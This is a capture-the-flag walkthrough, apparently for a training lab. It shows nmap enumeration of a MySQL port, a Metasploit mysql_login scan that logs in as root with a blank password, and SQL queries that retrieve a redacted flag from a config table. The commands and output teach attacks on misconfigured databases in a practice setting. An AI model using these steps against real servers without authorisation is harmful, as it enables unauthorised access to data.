#Introduction
This writeup demonstrates the enumeration and exploitation of a misconfigured MySQL service exposed on a remote host. After identifying the MySQL server running on port 3306, we use Metasploit to test for weak authentication settings, gain access using a blank root password, and enumerate the database to retrieve the flag.
#Setup
Download a VPN configuration file from the webpage and connect to it via sudo openvpn file.ovpn.
NOTE: Replace
file.ovpnwith your VPN configuration file name.
To check if everything is working fine, we can use ping <ip_addr>.
#Enumeration
Perform a Nmap scan with version detection with nmap -sV <ip_addr>:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-09 19:38 IST
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.129.122.63
Host is up (0.22s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
3306/tcp open mysql?
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.50 secondsThe scan output reveals that only port 3306 is open and it is running a MySQL server
#Exploitation
We can try remote connection to MySQL with mysql -h <ip_addr> which returns:
ERROR 1045 (28000): Access denied for user 'vinod'@'10.10.14.35' (using password: NO)The response indicates that authentication is required and the attempted credentials were rejected for connection
Next, enumerate with Metasploit auxiliary scanner
Run Metasploit with msfconsole
Use MySQL Auxiliary Scanner with use auxiliary/scanner/mysql/mysql_login
Set:
set RHOSTS 10.129.144.128
set BLANK_PASSWORDS true
set CreateSession trueHere RHOSTS means the target on which we want to perform the scan, BLANK_PASSWORDS is being used to try username combinations with blank passwords to check for misconfigurations and lastly CreateSession is used to create an interactive session if the target is vulnerable
Run the scanner with run:
[+] 10.129.144.128:3306 - 10.129.144.128:3306 - Found remote MySQL version 5.5.5
[!] 10.129.144.128:3306 - No active DB -- Credential data will not be saved!
[+] 10.129.144.128:3306 - 10.129.144.128:3306 - Success: 'root:'
[*] MySQL session 1 opened (10.10.14.35:46831 -> 10.129.144.128:3306) at 2026-05-09 19:56:18 +0530
[*] 10.129.144.128:3306 - Scanned 1 of 1 hosts (100% complete)
[*] 10.129.144.128:3306 - Bruteforce completed, 1 credential was successful.
[*] 10.129.144.128:3306 - 1 MySQL session was opened successfully.
[*] Auxiliary module execution completedThe scan output reveals that the user root exists on the MySQL server and an interactive session was created
To view available sessions, run sessions:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 mysql x86_64/Linux MySQL root @ 10.129.144.128:3306 10.10.14.35:46831 -> 10.129.144.128:3306 (10.129.144.128)
To connect to the session with Id 1 use sessions -i 1
[*] Starting interaction with 1...
mysql @ 10.129.144.128:3306 >We can view the available list of commands for use with help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
MySQL Client Commands
=====================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
For more info on a specific command, use <command> -h or help <command>.
This session also works with the following modules:
auxiliary/admin/mysql/mysql_enum
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_hashdump
auxiliary/scanner/mysql/mysql_schemadump
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/mysql/mysql_writable_dirs
exploit/multi/mysql/mysql_udf_payload
exploit/windows/mysql/mysql_mof
exploit/windows/mysql/mysql_start_upTo run SQL query we will use query
To view available databases run query SHOW DATABASES;
Response
========
# Database
- --------
0 htb
1 information_schema
2 mysql
3 performance_schemaUse query USE htb; to switch to htb database
View tables of htb database with query SHOW tables;
Response
========
# Tables_in_htb
- -------------
0 config
1 usersView contents of table config with query SELECT * FROM config;
Response
========
# id name value
- -- ---- -----
0 1 timeout 60s
1 2 security default
2 3 auto_logon false
3 4 max_size 2M
4 5 flag ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇
5 6 enable_uploads false
6 7 authentication_method radiusAnd this reveals the flag ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇
#Conclusion
The target was vulnerable due to a misconfigured MySQL service that allowed remote authentication using the root account with a blank password. After obtaining access, database enumeration revealed the flag stored in the config table.